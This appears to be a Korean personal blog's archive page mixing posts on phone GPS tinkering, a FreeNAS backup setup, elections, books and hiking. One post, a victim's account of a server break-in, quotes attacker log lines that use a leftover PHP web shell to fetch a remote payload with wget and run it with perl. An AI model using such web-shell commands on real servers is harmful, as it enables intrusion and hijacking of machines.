'분류 전체보기'에 해당되는 글 742건
- 2010.07.17 월드컵
- 2010.06.24 5800 GPS 안테나 개조 7
- 2010.06.23 나로호 발사 실패
- 2010.06.11 미에 모욕당하며...
- 2010.05.29 지방선거
- 2010.05.24 FreeNAS RAID, Unison setup
- 2010.05.23 no vote, no kiss
- 2010.05.10 간빙기
- 2010.04.11 그대들도 죽는다 2
- 2010.04.02 해킹 1
- 2010.03.23 N5800 에너지 프로파일 1
- 2010.03.19 Nokia ExpressMusic N5800 1
- 2010.03.17 안양예술공원
- 2010.02.22 GLXP 3
- 2010.02.22 지도 제작 작업 메모
- 2010.01.11 2010
- 2009.12.23 아이폰 1
- 2009.12.08 Nfy 1
- 2009.11.17 레비 스트로스 타계 4
- 2009.10.26 KOTM v3,1 3
- 2009.10.26 돈 안되는 일
- 2009.10.16 KOTMv3
- 2009.10.15 화성문화제
- 2009.10.05 detour 1
- 2009.09.26 수원 화성 관광 1
- 2009.09.09 데 포르마
- 2009.08.22 왕피천, 울진-삼척 자전거 여행 1
- 2009.08.07 OSM 작업노트 #15: KOTM v2.5 공개
- 2009.08.06 Ghostwritten
- 2009.07.24 OSM 작업노트 #14: cleanup 2
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5800-org: 안테나 개조 전. 한번 캡쳐. 주머니에 넣고 자전거 주행.5800-mod1, 5800-mod2: 안테나 개조 후. mod1은 주머니에 넣고, mod2는 꺼내놓고 트랙로그를 남김.hcx1, hcx2: 레퍼런스용 Garmin GPS Vista HCx. 두 번 모두 자전거 핸들바에 마운트해 놓고 트랙로그를 남김. Vista HCx로 남긴 트랙로그는 여러 번에 걸쳐 기록해도 위치 정밀도가 좋다. 그냥 이게 옳다고 보면 됨.
* 안테나 개조를해도 5800의 GPSr의 기본적인 위치 정밀도가 떨어지는 것은 어쩔 수 없다.
![사용자 삽입 이미지](http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png)
FreeNAS의 장점
- 싸다.
- 내 맘대로 삽질해서 꾸밀 수 있다.
FreeNAS 시스템 구성
System->General
RAID1 구성
Disks->Management->Add(+)
Disks->Software RAID->RAID1
Disks->Format
Disks->Mount Point->Management
사용자 추가, 디렉토리 설정
Access->Users and Groups->Add(+)
서비스 설정
Services->CIFS/SMB (Enable)
Services->Secure Shell (Enable)
Services->Unison (Enable)
Services->Dynamic DNS
Unison Setup
디렉토리 생성
$ mkdir -p /mnt/raid/user/natas$ mkdir -p /mnt/raid/share
백업 스크립트 생성 (/mnt/raid/user/natas/backup)
$ cat >/mnt/raid/user/natas/backup#!/bin/shexport HOME=/mnt/raid//usr/local/bin/unison -batch -silent /mnt/raid/share ssh://192.168.123.100//mnt/raid/share 2>&1^D$ chmod +x /mnt/raid/user/natas/backup
SSH 키 생성
$ su -...# ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/root//.ssh/id_rsa):Enter passphrase (empty for no passphrase):Enter same passphrase again:
# scp ~/.ssh/id_rsa.pub 192.168.123.100:~/.ssh/authorized_keys# ssh 192.168.123.100Last login: Thu May 20 18:41:00 2010 from 192.168.123.199Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994The Regents of the University of California. All rights reserved.Welcome to FreeNAS!# exit#
Unison Test
# cd /mnt/raid/natas# ./backupConnected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]Warning: No archive files were found for these roots, whose canonical names are:/mnt/raid/share//backup-nas.local//mnt/raid/shareThis can happen eitherbecause this is the first time you have synchronized these roots,or because you have upgraded Unison to a new version with a differentarchive format.Update detection may take a while on this run if the replicas arelarge.Unison will assume that the 'last synchronized state' of both replicaswas completely empty. This means that any files that are differentwill be reported as conflicts, and any files that exist only on onereplica will be judged as new and propagated to the other replica.If the two replicas are identical, then no changes will be reported.If you see this message repeatedly, it may be because one of your machinesis getting its address from DHCP, which is causing its host name to changebetween synchronizations. See the documentation for the UNISONLOCALHOSTNAMEenvironment variable for advice on how to correct this.Donations to the Unison project are gratefully accepted:http://www.cis.upenn.edu/~bcpierce/unison
# cd /mnt/raid/user/natas# ./backupConnected [//main-nas.local//mnt/raid/share -> //backup-nas.local//mnt/raid/share]
# cp -r /root/.ssh /mnt/raid/user/natas/.ssh_root
그 다음 NAS의 web에서 부팅 후 실행할 명령으로 등록.
System->Command scripts->+ Command: cp -r /mnt/raid/user/gstech/.ssh_root /root/.ssh Type: PostInit
cron job으로 등록
The archive file is missing on some hosts.For safety, the remaining copies should be deleted.Archive arc5fcde3990570240836f07c4d9dd3a43 on host gstech-nas.local is MISSINGArchive arc2bd324e34ece9d322c9e5b4e3e219f3 on host gstechlab-nas.local should be DELETEDPlease delete archive files as appropriate and try again.
# ssh 192.168.123.100...# rm -fr /mnt/raid/.unison/*# exit# rm -fr /mnt/raid/.unison/*
RAID 사고 대처
그래서 이번 선거에 찍을 물고기를 골랐다. 야권 후보 단일화 경선에 참여했다. 유시민은 아슬아슬하게 이겼고 민주당은 뒷끝이 깔끔했다. 경기도 교육감은 김상곤, 경기도지사는 유시민으로 별 생각없이 선택할 수 있게 되었지만 나머지는 쇼핑에 시간이 걸렸다. 김상곤은 무상급식, 무상교육을 대표공약으로 들고 나왔다. 알고 보니 전국 대부분의 교육감 후보들이 진보 진영의 아젠다를 토씨 하나 안 빼먹고 똑같이 사용하고 있다 -- 이명박 정권 교육 정책이 병맛 같아서 그럴까, 아니면 무상급식의 파괴력에 단지 눈치보기를 하는 것일까, 아니면 투표율에 기대 진보 쪽의 표를 분산시키는 고도의 정치공작일까...
- 경기도지사: 유시민(국참당) -- '도지사가 가진 모든 권한을 이용해서 4대강 사업을 방해하겠다' 라고 유시민이 말했다. 바람직하다. '삽질 지옥, 투표 천당' 재밌는 것이 도지사 후보들 모두 전과자다.경기도의회의원: 한성우(민노당) -- 후보중 한나라당의 정금란와 친박연대의 이상진은 수원시의회, 도의회의원을 꾸준히 해온 인물인데 한나라당 출신답게 그 동안 한 일이 거의 없다는 당연한 기사를 보았다. 이사온 지 얼마 안되어 충분한 자료가 없어 아쉽다. 일단 한성우는 김상곤 교육감 후보와 일했던 사람.수원시장: 염태영(민주당) 또는 유덕화(진보신당) -- 야권 후보 단일화로 선출된 염태영의 잡화점 공약이 마음에 안든다. 전 시장이 심재인을 밀어주면 유덕화나 염태영은 모두 나가리가 될 가능성이 높ㅈ만 남은 기간동안 틈틈이 공약을 벤치마크해서 최종 결정하겠지만 공약 보니 마음이 벌써 유덕화에게 가 있다.수원시의원: 이미영(민노당) -- 우리 아파트 동대표. 몇 개월 전에 동네 수퍼에서 봤다.아파트의 아줌마들 사이에선 자식들 팽개치고 민노당에 미쳐 선거판에 뛰어들었다는 평을 듣는다. 달리 말하면 아이들에게 참교육 시킬려고 방목한다는 얘기도 된다. 동네 마녀들의 시기심이야 뭐 개무시하고.경기도교육감: 김상곤. 이 양반 말고 대안이 있나? 당신을 향한 나의 사랑은 무조건 무조건이야~경기도교육의원: 류귀현. 중학교 교사. 대다수 후보가 10억 가량의 재산을 가지고 있었다. 그보다는 유일한 전과자(전교조)라서 뽑았다. 교육감과 마찬가지로 선택의 여지가 없지 않은가?
그런데 내 사랑 김보영은 장편 안 쓰고 뭐 하고 있을까? (그의 인생에 별 관심 없다. 글만 보는 편이라서.) 본인은 르귄같은 인간이 될 지, 르귄 짝퉁같은 인간이 될 지, 전혀 가망성은 없어 보이는 모던 SF 작가가 될지, 제 4의 길을 선택해 빌빌대는 SF작가가 될지 감이 안 잡히는데(한창 성장중인 청소년 처럼). 김보영을 좋아하는 이유는 단순했다. 찌든 구석이 없어 수 차례 갈구고 제련하고 자진해서 장염과 위경련에 시달리면 작품이 나올 것 같다. 구체적으로는 그 한가한 문체는 집어치우고 돈을 들여서라도 성전환 수술을 한 다음 심상언어를 한국어로 효과적으로 번역하는 피나는 연습을 거치고 입은 꼬매도 한번 글로 지껄이면 씨줄로 지식과 교양이 날줄로 비단결같은 감수성이 시냇물처럼 끝없이 졸졸 흘러 나와 엮이고 합쳐져 강으로 바다로 모이듯 집성되고 교미해도 임신 안될 것 같은 얼음여왕처럼 자기 글을 사정없이 재단할 수 있으면 정말 좋을 것 같다. 소설가는 모름지기 눈 앞에 당근을 애원하는 절박한 당나귀가 되어야 바람직하므로, 연애에 실패해서 몬테솔로로 늙어가면서 오직 돈과 지랄맞은 취향을 쫓다가 망하는 비운이 곁들여지면 금상첨화다.
아참. 훌륭한 소설가에겐 인격 같은 건 필요없으니 예절이나 눈치, 인간관계 증진용 SNS는 멀리하는 것도 좋을 것 같다. 좋은 작품엔 할 수 없이 고통이 따른다 으쓱. 그래야 김보영이 장편에 전념할 수 있을 것 같다. 장편 집필에 방해되니까 다리는 스스로 잘라 버리는 게 낫지 않을까? 별별 짓을 다해도 뮤즈가 깃드는 건 천운이지만, 이 빌어먹을 나라에선 글쟁이의 글에서 열정과 광기가 느껴지지 않아. 일단 문장력이 형편없어 힘이 후달리지. 어떻게 소설가란 것들이 '글'을 못 쓸까? 김보영이 무럭무럭 자랐으면 좋겠다.
일 트위터가 화장실 곤경남을 살렸다 -- 심비안 OS에는 Gravity라는 걸출한 SNS 프로그램이 있다. 그래비티를 설치해서 휴지나 배달해 달라고 해볼까? 하지만 소셜라이즈 되는 건 정말 싫어서...
노키아 휴대폰에서 누구나 인정하는 명작 앱인 스포츠트래커는 버전업하면서 트랙로그의 업로드를 당분간 막아 놓았다. 얼마나 더 훌륭해지려고 그럴까? 업그레이드 된 스포츠트래커는 UI가 깔끔하다. 그리고 드디어 OSM 지도를 사용하기 시작했다(나를 비롯해 전세계의 수많은 스포츠 트래커 사용자들이 노키아에 청원했다). 이전 버전과 전력 소비량을 비교해 봤더니 66mA(이전)에서 69mA로 전류 소비량이 약간 늘었지만 눈에 띄는 정도는 아니다. 다만 새 버전에서는 지도를 다운로드 받아 보기를 하면 전력 소비가 현저하게 늘어났다.
4월 1일. 5불 생활자 카페에서 온 메일: 5불생활자 세계일주 클럽 자체 추첨 결과 EBS 세계테마기행 후속편으로 기획된 '인류, 세계문화기행'에 ujulman2010과 내가 대표로 추첨되었다. 8개월 동안 4대륙 27개국을 여행하는데, 경비 일체를 제공하고 훗날 책으로 만들어 준단다. 낄낄 웃었다.
http://www.theplastiki.com/ -- 명분을 만들어 이런 일도 한다. 정말 잘 논다. 부자 되면 나도 해야지.
3/25 zeroboard의 버그를 이용한 php script code injection에 의해 서버가 해킹 당했다. 좀비 서버로 사용해 다른 서버를 해킹하기 위한 용도로 사용한 것 같다. 해킹 당하기 전 부터 zeroboard의 버그를 알고 있었는데 (data/shell.php) zeroboard XE로 교체한 후 예전 소스를 안 지웠다. logwatch를 보고 있었음에도 최근에 바빠서 건성건성 쳐다보다가 당한 셈. http 로그에는 이렇게 남았다:
GET /bbs//data/shell.php?cmd=uname -a
GET /bbs//data/shell.php?cmd=wget http://194.160.227.34/ize;perl ize 193.231.196.100 80
토요일에 산에 가려다고 서버가 그 모양이 되서 원인 파악하고 해결 하느라 오전을 보냈다. 하는 수 없이 자전거를 타고 나갔다. 무수한 MTB를 신나게 추월해서 광교산 입구에 다다라 쉬고 있는데 추월한 아저씨들이 옆길로 올라가는 것이 보였다. 호기심에 그들을 따라 갔다. 광교산 입구에서 통신대까지 도로가 나 있는 것 같다.
한참 업힐 중에 멈췄다. 자전거를 손보지 않은 상태라 기어가 1단으로 내려가지 않는다. 젠장. 올해 처음으로 제대로 자전거를 타는 건데 무리할 이유가 없어 멈췄다. 뒤따라 올라오던 아저씨가(두 번 내게 추월 당한) '이거 일반 자전거죠?' 라고 물었다. 흘낏 그 아저씨 자전거를 보니 내 자전거의 10~20배 정도 되는 값비싼 자전거다. '네 그래서 속도가 안 나요.' 라고 말해 염장 처리 했다.
다운힐에서 55kmh 가 나왔다. 겁이 나서 브레이크를 자주 잡았다. 예전에 타고 다니던 27만원 짜리 유사 MTB보다 고속 주행시 안정감이 눈에 띄게 좋다. 역시 45만원이나 하는 비싼 자전거가 값을 하는구나 생각했다. 시내를 가로질러 가는데 비싸 보이는 사이클을 타고 다니는 한 무리의 사람들을 봤다. 언젠가 나도 저런 크로몰리 프레임을 타게 될까? 글쎄... 내 마음이 저렴해서.
굳이 디지털 시계를 구입해야 하는 까닭: 바늘 시계의 틱틱 소리 때문에 신경이 곤두선다나? 아내만 그런 줄 알았는데 다른 여자들도 그런 것 같다. 그런데 나는 시계 소리 들으면 잠이 잘 온다.
틱... 틱... 틱...
전기양 세 마리.
틱... 틱... 틱...
전기양 다섯 마리.
한 마리는 어디 갔을까?
죽었지.
100여만원에 거래된다는 '무소유'를 판매해 아이가 다니는 어린이집 월납금에 보태려고 했는데, 집에 굴러다니던 그 책이 언제인지 없어졌다. 개똥도 약에 쓰려면 없다더니. 법정의 저작 '무소유'를 어린 시절에 읽었다. 당시에는 내가 심한 무소유 상태라서 읽어도 아무 느낌이 없었다. 무슨 내용이었는지 기억도 안 난다.
몇 개월 전부터 자칭 파이낸셜 플래너(속칭 보험 설계사)가 끈질기게 전화를 걸었다. 가입한 보험상품에 문제가 있으니 만나서 재무 설계를 도와주겠단다. 문제가 뭐냐고 물으니 내용이 길어 만나서 얘기하잔다. 바쁘다고 줄곳 거절했지만, 만나서 얘기듣는데 손해볼 것 없지 않느냐고 참 질기게 설득한다.
사무실 근처 커피숍에서 인사했다. 한 30분은 재무설계 하는 척 하더니 인터넷으로 가입했던 저축보험을 해약하고 변액보험으로 갈아타라고 충고한다. 보아하니 인터넷으로 가입한 사람들을 찾아 돌아다니며 보험 설계랍시고 가입자를 설득해 신규 보험으로 갈아타게 해서 보험 설계사 수당으로 먹고 사는 것 같았다(왠지 내가 부러 시간내서 똥 밟은 기분). 최저 4% 연 복리가 보장되는 저축보험의 장래야 장기 저금리 시대가 도래해 앞날이 무척 암울하지만, 애당초 연 4% 가정하고 가입했기에 바꿀 생각이 없다.
그 날 따라 거래처 전화를 기다리며 딱히 할 일이 없어 한가한 오후였다. 재테크에 관해 피차 이런 저런 쓸데없는 얘기를 주고 받았다. 미래가 얼마나 절망적이며 내가 얼마나 무계획하게 살아가고 있는지 침 튀기는 웅변(거의 절규에 가까운)도 들었다.
이렇게 만난 것도 인연인데, 커피도 얻어 마셨고, 그 양반에게는 내가 주식투자로 푼돈 번 성공담을 얘기해 주고(난 시장에서 저평가되는 싼 주식 중 내가 아는 IT 분야의 유망 중소 종목만 2-3% 수익을 목적으로 쩨쩨하게 주식투자한다. 그랬더니 한달에 5~10만원은 버는 것 같다. 경제도 배우고 실패도 배우고 게다가 생활에 보탬이 된다 당신도 함 해봐라 하이닉스가 블록세일에 성공해서 앞날에 거추장 스러울게 없다. 3만원 보고 몇 개월 잼겨 놓았고 6월쯤에 환매할 예정이다. STS 반도체는 삼성의 SSD를 받아 테스트한다. 꽤 싼 주식인데 내 경우 6천원에 들어갔고 지금 7천원인데 만원 보고 있다. HTS 보고 사냐고? 하루에 2-3번 본다. 단타는 안 한다.).
최근에 배운 재테크 기법을 잘난 체 하며 전수해 주기도 했다. 변호사, 의사 등 고소득 직종군에서 요새 유행하고 있는 '풍차 돌리기'라는 것인데, 환금성과 복리 효과 두 마리 토끼를 잡는 비결이다. 목돈이 있으면 비교적 금리가 높고 세제 혜택이 있는 신협에서 1개월 단위로 최저 예금액으로(보통 100~200만원 수준) 매월 가입해 12개의 통장을 만드는 것이다. 그리고 1년이 지나면 최초 가입한 예금을 해약하고 원금+이자를 받아 다시 예금에 넣는다. 깨기 힘든 적금이나 예금과 달리 목돈이 필요할 때 즉시 환금할 수 있으며 복리 효과도 유지된다.
입만 열면 72의 법칙 운운 하는 그가 복리 계산식을 잘 모르는 것 같아 노키아폰을 꺼내 공학용 계산기로 가르쳐 주었다. S = I * (1 + r) ^ y (S: 총액, I: 초기금액, r: 이율, y: 연수) 이렇게 해서 애써 모은 3천만원의 목돈으로 연복리 5.7%(현재 시중의 저축은행 중 가장 높은 금리)로 10년을 굴려야 S = 3000 * ( 1 + 0.057) ^ 10 = 5222만원이 된다. 어떻게 보면 인덱스 펀드만도 못한 수익율일 수도 있다.
악수 하고 헤어질 때 그 양반이 이렇게 말했다: 유익한 시간이었어요.
그럼 나는!?
봄은 참 늦게 왔고 그 동안 참 차게 지냈다. 난방비 7만원에 아내가 기겁해서 보일러를 꺼 버렸고 아이는 감기를 달고 살았다. 아파트 지역 난방 밸브 조절 무의미 -- 요점 정리: 유량으로 측정하면 난방비가 더 나온다(기지의 사실). 들어오는 물의 온도와, 나가는 물의 온도차로 측정하는 적산 열용량계를 신청해서 달면 난방비를 아낄 수 있다. 참고자료: http://music24.kr/xe/4550 또는, http://www.jay.or.kr/sub_read.html?uid=1394§ion=section17 아파트에 설치된 것이 적산 열량계로 추정된다. 고로 교환할 필요가 없을 것 같은데, 관리실에 묻는 걸 번번이 잊어버렸다. '가스 요금 2012부터 열량 단위 부과' -- 이런 기사도 있는데, 음식하기 힘들 정도는 아니겠지?
6/2이 지방선거다. 바빠서 후보들의 뒷조사를 할 시간이 없다. 유시민이 경기도 지사 후보로 출마했다. 별 고민없이 그를 찍을 것이다. 정운찬 총리는 세종시 수정안에 관해 '다소 손해를 보더라도 약속을 지켜야 한다'는 자신의 철학이 담긴 자서전을 면전에서 흔드는 한 국회의원에게 당혹스러운 표정을 지었다. 세종시 수정안을 반대하는 박근혜에게는 국민과의 약속을 지킨다는 명분이 있다. 여당이 두 패로 나뉘어 아귀다툼을 벌이고 있는 와중에 청와대 이동관 수석은 '대구, 경북 놈들 문제 많다'고 말했다. 그러고도 안 짤리는 걸 보니 이명박 대통령의 의중을 적시한 것인가 보다. 여당이 좀 더 힘차게 싸우다가 열받은 이명박 대통령이 장중한 결단을 내리길 바란다. 이 나라가 쪼개지건 말건 결단(자뻑)은 물론 국민투표가 바람직했다.
늘 생각이 많은 직장인 x씨는 이렇게 말했다: 아 심심해서 자살하고 싶다. 스타일을 중시하는 베짱이들은 한겨울 추위 속에 식량이 떨어져도 개미 집 앞에서 문을 두드리며 비참한 꼴을 보이는 대신, 눈보라치는 벌판에 드러누워 말없이 피식 웃고 시크하게 죽었다.
로저 젤라즈니, 집행인의 귀향 -- 에스프레소 노벨라 첫 권. 왠지 변죽만 울리다 끝난 것만 같다. 이왕 맘 먹었으면 팔 걷어붙이고 도스토예프스키처럼 썼으면 얼마나 좋아? 행맨과의 격투에 관해 번역자와 대체 그런 아크로바트가 어떻게 가능한가 뒷다마를 깠다. 그래도 하인라인이나 실버버그, 아시모프처럼 동시대상이 반영되어 지금 읽기엔 구질구질한 로봇과 인공지능의 실존에 관한 거개 SF작가들의 견해보다 젤라즈니가 상대적으로 세련된 것이다.
울라프 스태플슨, 스타메이커 -- 옛날 SF임에도 최근의 우주론의 대세와 부합되지 않는 몇 가지를 첨삭하고 고루한 문장을 조금 손 보는 정도 외에는 길이 남을 기념비적인 작품이다. 중반 이후론 재미가 없지만. 올 가을 쯤에는 때가 되었으니 과천 과학관에 가서 아이에게 별들을 구경시켜 줄 것이다. 과천 과학관에서 혹시 플라네타리움 전용 필름 같은 걸 상영 하는지 모르겠다.
오랫만에 서울에 갔다. 여자들은 생각보다 별로 안 예뻤고(복식만 그럴 듯) 대개의 사람들이 지하철에서 우측보행을 했다. 생각 외로 금새 자율화되는 것 같아 의아했다.
우측보행이 일반화된다면 보행 편의성은 크게 좋아진다. 한국교통연구원의 가상 시뮬레이션에 따르면 보행속도는1.2~1.7배 증가하고 충돌 횟수7~24%,보행밀도 19~58% 감소 등이 이뤄진다. 보행 편의성이 좋아진다는 의미다. 한국교통연구원의 이종훈 연구원은 “현실과 다소 차이는 있을 수 있지만 효율적인 보행방식임은 틀림없다”고 설명했다.
- 측정: Energy Profiler 1.2 사용: 측정이 귀찮고 까다로워 20-30초 평균 소비전류량을 측정해 계산한 것으로 실제와는 차이가 있을 수 있다. Energy Profiler가 CPU를 2% 가량 사용하는 것 같음.
- LCD off(LCD가 켜진 상태일 경우 50% 밝기), Free Memory: 24.42MB, Phone Disk: 28.88MB, Memory Card: 68.50MB
- 연결: 일반 프로파일(KT 패킷 전화망을 켠 상태, BT 및 무선랜은 테스트에 따라 켜거나 끈다), USB는 연결 안함.
- 실행중인 process list
- EasServer.exe
- EasStartUp.exe
- OPENLICENSESERVER
- SymSvr_0x2002A6CE.exe
- TSRAutoStart.exe
- aRed
- psdk_Impro.exe
- s2gvariantserv.exe
- 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 40장 정도의 사진을 찍고 한 번 사진 찍을 때 20초를 소비한다면, 600mAH*(20s/1h)*40 = 133mAH
- 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 3개의 비디오를 1분씩 찍을 때, 600mAH*(1m/1h)*3 = 30mAH
- GPS + MP3 with Bluetooth(172mAH) 에, 사진 찍고 비디오 찍으면서 돌아다니면 (1260-133-30)/172 = 6.3h
- N5800은 라디오를 듣기 위해 반드시 이어폰을 이어폰잭에 꽂아야 한다. 그렇게 되면 블루투스 헤드셋을 사용할 수 없다. 하여튼, GPS + Radio Vol=100% (85mAH) 에, 사진 찍고 비디오 찍으며 돌아다니면 (1260-133-30)/85= 12.9h.
![](http://pds16.egloos.com/pds/201003/03/84/e0010684_4b8dc3ed10a66.jpg)
살아있기도 헷갈리는 시절이다.아테나가 어깨를 들썩했다. "그건 전투 중에 일어난 일이잖아. 난 피가 들끓는 상태였고.""날 죽이려 했던 변명이 고작 그거냐, 이 개 같은 여신아?"
우리는 석기 시대를 떠나지 않았어도 된다. 중간계층에 속할 필요도 없다. 학교에서 좋은 성적을 거둘 필요가 없다. 심지어 학교에 갈 만큼 자랄 필요도 없다. 부모의 언어 세례를 받을 필요도 없고, 부모가 언어를 제대로 구사하지 못해도 된다. 사회구성원이 되기 위한 지적 수단이나, 집과가정을 꾸려나가는 기술이나, 확교한 현실 이해능력도 필요없다. 사실 이 모든 이점들을 다 가졌다 해도 유전자가 두뇌 일부에 결함이 있으면 우리는 유능한 언어 사용자가 되지 못한다.
여자: 나 떠날 꺼야.남자: 어떤 놈이야?
S := NP VP, NP := [det] N [PP], VP := V NP [PP], PP := P NP
기분이 좀 상했다. 오랫동안 다닌 길만 밟는 것도 예의가 아닌 것 같아 모처럼 힛겔을 구경하다가 발견한 것: 자겔의 항공남 -- 첫 만남부터 결혼할 때까지 무려 3년 동안이나 자랑을 늘어놓았다. 대단하다. 난 마누라 자랑꺼리가 딱히 없다. 딸애도 평범하고.
모 동호회 투표에서 올해의 공로회원으로 뽑혔다. 선약이 있어 참석할 수 없다. 안 가게 되어 왠지 다행스럽다.
12/6, 광교산에 올랐다가, GPS의 전지가 떨어져 헤멨다. 머리가 아파서 사실 헤메는게 목적이었던지라 개의치 않았다. 눈밭을 슬금슬금 걸었다. 올해는 정말 많은 일을 했다. 산에서 헤메는 것은 정말 오랫만이다. 오랜 기간 동안 나는 많은 사람들을 가르쳤다. 한참 길 없는 길을 걷다가 내려오니 용인이다. 휴가나 가고 싶다. 다시 올라갔다. 다른 능선을 타고 갔다. 내려오니 또 용인이다. 거참.
태을봉에서는, 옆 자리에 앉아있던 아저씨가 함께 온 아줌마들에게, 오줌은 나무 밑에서 싸는게 정석인데 자기 오줌이 소중한 거름이라 나무에게 주긴 아깝다고 말했다. 오늘이 무슨 날인가? 귤 껍질과 마찬가지로 오줌의 요산 역시 분해되지 않아 거름은 커녕 나무에 독이 되는 것으로 알고 있다. 하지만 산에서 오줌 싸고 똥 싸고 과일 껍질 여기저기 버리는 아저씨들이 나이 헛 쳐먹고 ㅄ 짓을 한다고 단정하지는 못 하겠다. 상식이 부족해서 그런 것 뿐. 예를 들면 풍부한(?) 상식을 가진 나는 괜한 똥고집을 피우지 않았고, 풍부한 상식이 없더라도 누군가 제제하면 그럴만한 이유가 있다고 여겨 대개 지시를 따랐다. 확실히 내가 알만한 것에서 상대가 헛소리를 할 때만 귤껍질 아저씨나 오줌싸는 아저씨처럼 편한 대로 했다. 그런데 이상하네? 내가 아는 5-60대 아저씨들 대부분은 무식한 도싯내기와는 거리가 멀어 농사 짓느라 퇴비 만들어본 경험들이 있을텐데? 크리스마스가 가까워졌으니, 주여, 여기저기 똥오줌을 싸대는 저 불쌍한 개새끼들을 상식으로 구원하소서.
LG전자, 업계 최초 카메라 2개 장착 로봇청소기 출시 -- 삼성이 만든 로봇 청소기에도 카메라가 달려 있는데, 하라는 청소는 안 하고 혼자서 춤을 출 때가 있다. 심지어 바보같은 음성 멘트가 나온다. 말하는 로봇 만큼 짜증나는 것도 없는데 툭하면 뭐라고 지껄이는 밥통보다 묵묵히 밥을 하는 밥통이 나은 줄 모르고 삼성 기술자들이 음성 멘트를 넣은 것이 신기하다(그래서 냉장고도 폭발한 걸까?). 로봇 청소기는 구매대기 목록에 올라와 있고 장기간 잠복 중인 아이템이지만 아직까지는 쓸만한 것을 보지 못했다. 무수한 마루타들이 LG 로봇 청소기의 사용기를 올릴 때까지 느긋하게 기다려 보련다.
그렉 베어, 신의 용광로 -- 어쩌다 지금에야 읽게 되었다. 꽤 재미가 없다가 마지막에서 지구가 멸망하는 대목만 읽을만 했다. 그것도 그리 길지 않아 실망스러웠다. 2004년에 Anvils of stars가 '별들의 기원'이란 제목으로 출간된다고 책 날개에 써 있으나 출간되지 않은 것 같다.
이희재, '번역의 탄생' -- 좋은 책이다. 아이들에게 강제로 읽게 했으면 좋겠다. 번역의 탄생에는 우리글 바로쓰기 시리즈의 이오덕이나 오마이뉴스의 ''의'를 안써야 우리말이 깨끗하다' 같은 국어에 대한 다소의 집착과 강박이 없다. 그간의 편협하고 단편적인 사고방식으로 번역자는 한국어를 잘해야 한다고 밑도 끝도 없이 지껄였지만, 이 책에는 그에 관한 실감나는 사례가 풍부했다. 정말 유익해서 예시된 문장과 단어를 위키 페이지로 만들어 일용할 양식으로 사용하고 아울러 널리 알려야 하지 싶다.
언어의 사용이 자유로운 지금의 어린 세대의 조어를 인정하면서도 왜 형태소가 망가지면 안되는지 설명하는 대목이 특히 심금을 울렸다. 뭐 사실 젊은이들이 들락거리는 사이트에서 만연한 일본어 직역 어투에 은근히 거부감을 느끼기도 하지만, 실은 그런 목적어에 충실치 못한, 되다만 번역의 영향으로 '니뽄필' 문장을 거리낌없이 구사하는 어린이들에게 유감은 없다. 영어 번역도 마찬가지다. 다만 니뽄필이나 아메리칸 스타일 익스프레션을 사용하지 않는 자연스러운 한국어 표현은 저자 말대로 힘차다. 힘차고 담백하고 우아하고 아름답고 생생하다 -- 유창한 욕설을 늘어놓거나 접할 때 다들 경험해 봤을 것 같다.
아이리스 -- 진중권이 광화문 광장을 세상에서 가장 큰 중앙분리대라고 했던가? 그래 보인다. 광화문을 통째로 빌렸다더니 고작 이런 거나 찍으려고? (실은 여기가 한국이란 것을 깜빡하고 영화 Heat의 스펙타클한 총격전을 상상했다) 앞뒤 안 맞는 장면이 꽤 많았다. 손발이 오그라들던 화면의 엉터리 영어. 해커라는 것들이 '국제 표준 아이리스 OS' 화면에서 키보드 두들기는 엉성한 자세. 극 전반에 걸쳐 카메라웍이 거지같아서 안쓰러웠던 기억. 한 3초 스킵해서 FF 하다보면 스토리가 얽혀 길을 잃기도. 중국 대량생산 복제품 같은 꾀죄죄한 서사에 그것 마저 힘겹게 따라가는 연출인데, '이병헌'으로 드라마가 버텼달까? 한국보다 국민 소득이 훨씬 더 많은 '선진국' 일본이 아이리스만도 못한 드라마를 만든다는 것을 위안으로 삼아야겠다. 그냥 심술이다.
무얼 생각하고 있니? 따개비루 따개비루 / 어딜 바라보고 있니? 따개비루 따개비루 / 따개 따개 따개 따개 따개비 루 / 따개비 루 따개비 루 -- 가끔 아침마다 듣는 중독성 있는 노래. 엄마의 실수로 버려져 자신이 따개비인 줄 착각하고 사는 갈매기 루가 부모 없이도 얼마나 행복하게 사는지 보여주는 유아 애니메이션. 굉장히 재미있어서 자주 보고 노래를 따라 부르기도 한다. 홈페이지에 가보니 역시나 올해 애니메이션상을 받았다. 받을만 하다. 올해 본 애니 중 제일 나았다.
문제는 우리가 산소를 호흡에 사용할 때마다 일부 전자가 떨어져나온다는 데 있다. 아무 것도 하지 않고 그저 숨만 쉬고 있는데도 우리가 소비하는 산소 중 약 2%는 자유 라디칼로 변한다. 격렬한 운동을 할 때에는 그 비율이 10%로 커진다. 어떤 계산에 따르면, 1년 동안 단순히 호흡하는 데서 입을 수 있는 잠재적 피해는 흉부 X선 사진을 1만 번 찍을 때 방사선으로 입는 피해와 비슷하다.
밴 앨런은 우리 머리 위에 떠 있는 방사능 구름에 자신의 이름을 남겼다. 그렇지만 그는 거기서 그치지 않았다. 1973년, 무인 탐사우주선 파이어니어 10호의 청정실에서 작업을 하던 밴 앨런은 은밀히 흰 장갑을 벗고 거기에 지문을 남겨놓았다. 알데바란을 향한 200만년 이상이 걸리는 이 우주 여행에는 밴 앨런의 지문도 함께 승선하고 있다.
원인을 찾았다. mapset 중 하나라도 코드페이지가 949가 아니면 한글이 깨진다. 꽤 희안한 버그라서 사실 좀 믿기지가 않지만 뭐 현상이 그런 걸 어쩌겠나. 하루 종일 틈만 나면 지도를 빌드하면서 원인을 찾은 것. 일단 문제는 찾았지만 압축을 풀면 1GB가 넘는 데이터를 올리면서 고작 그런 버그 하나 때문에 여러 사람들 불편하게 한 것이 미안해서 원래 KOTM 3.5에 적용하려던 것들 몇 가지를 3.1에 급히 쓸어 담았다. 대표적으로, Makefile로 지도를 빌드하게 해 놓았다. 그리고 스타일(*.TYP)을 전면 적용. map feature의 아이콘을 대폭 수정했다. 그 두 가지는 혹시나 있을지도 모를 지도 작업자들을 위해 기본적인 작업 환경을 제공한다는데 의미가 있는 것들이라 일반적으로 지도를 사용하기만 하는 사람들에겐 별 의미가 없는 것들이지만.
취미 생활로 지도 만든다니까, 요새 자주 묻는 질문과 답변 하나.
